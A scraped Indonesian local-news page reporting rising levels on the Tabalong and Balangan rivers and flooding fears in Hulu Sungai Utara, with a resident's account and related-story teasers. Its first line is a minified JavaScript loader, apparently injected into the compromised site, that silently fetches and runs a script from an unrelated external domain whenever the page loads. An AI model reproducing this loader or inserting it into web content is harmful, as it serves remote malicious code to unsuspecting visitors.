(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI,  Meski belum sepenuhnya memasuki musim penghujan, warga kabupaten Hulu Sungai Utara (HSU) yang rumahnya tidak jauh dari bantaran sungai Tabalong dan Sungai Balangan kembali khawatir akan terendam banjir. Hal ini lantaran semakin meningkatnya volume sungai Tabalong dan Balangan di HSU beberapa hari ini.
Dari pantauan Kanalkalimantan.com, peningkatan volume air sungai Tabalong dan Balangan yang melintasi wilayah HSU terutama Kota Amuntai yang terletak di antara pertemuan dua sungai tersebut mengalami kenaikan drastis. Pasalnya kemungkinan besar terjadi peningkatan intensitas hujan di bagian hulu sungai, sehingga kenaikan volume air sungai yang meluap melintasi sebagian wilayah HSU merupakan kiriman dari hulu sungai.
Dikhawatirkan, jika volume kedua sungai ini terus meningkat dalam beberapa hari ke depan, bukan tidak mungkin banjir akan kembali melanda wilayah HSU.
Dikatakan oleh seorang warga Desa Tangga Ulin Hulu Kecamatan Amuntai Tengah Ahmad Irwinsyah, kenaikan air sungai sendiri begitu tiba-tiba sehingga sebagian rumah warga RT 1 Desa Tangga Ulin Hulu sudah mulai tergenang banjir.
“Tidak terkecuali jalan yang berada di bantaran sungai, sehingga dikhawatirkan apabila keadaan terus berlanjut kemungkinan besar banyak rumah warga yang mengalami kebanjiran,” ujarnya.
Ia menambahkan, meski jalanan yang berada di bantaran sungai Balangan, Desa Tangga Ulin pernah dilakukan peninggian pada tahun 2010 silam oleh pemerintah daerah, namun kondisinya sekarang kembali lagi mengalami penurunan, sehingga apa bila volume air naik jalan kembali lagi digenangi banjir.
Sementara banjir sendiri dialami oleh warga RT 1, RT 2 Desa Tangga Ulin Hulu.
“Apabila banjir berlangsung ketinggian air diperkirakan mencapai di atas mata kaki orang dewasa yaitu sekitar kurang lebih 30cm, bahkan apabila kondisi banjir makin parah bisa mencapai paha orang dewasa, kejadian ini sudah berlangsung bertahun-tahun,” lanjut Irwin.
Ia berharap ke depan jalanan dapat kembali ditinggikan oleh pemerintah, namun sebelum alangkah baiknya dilakukan pembuatan Siring dahulu di bantaran sungai sebelum melakukan peninggian jalan, sehingga jalan tidak mudah merendah kembali. (kominfo/dew)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.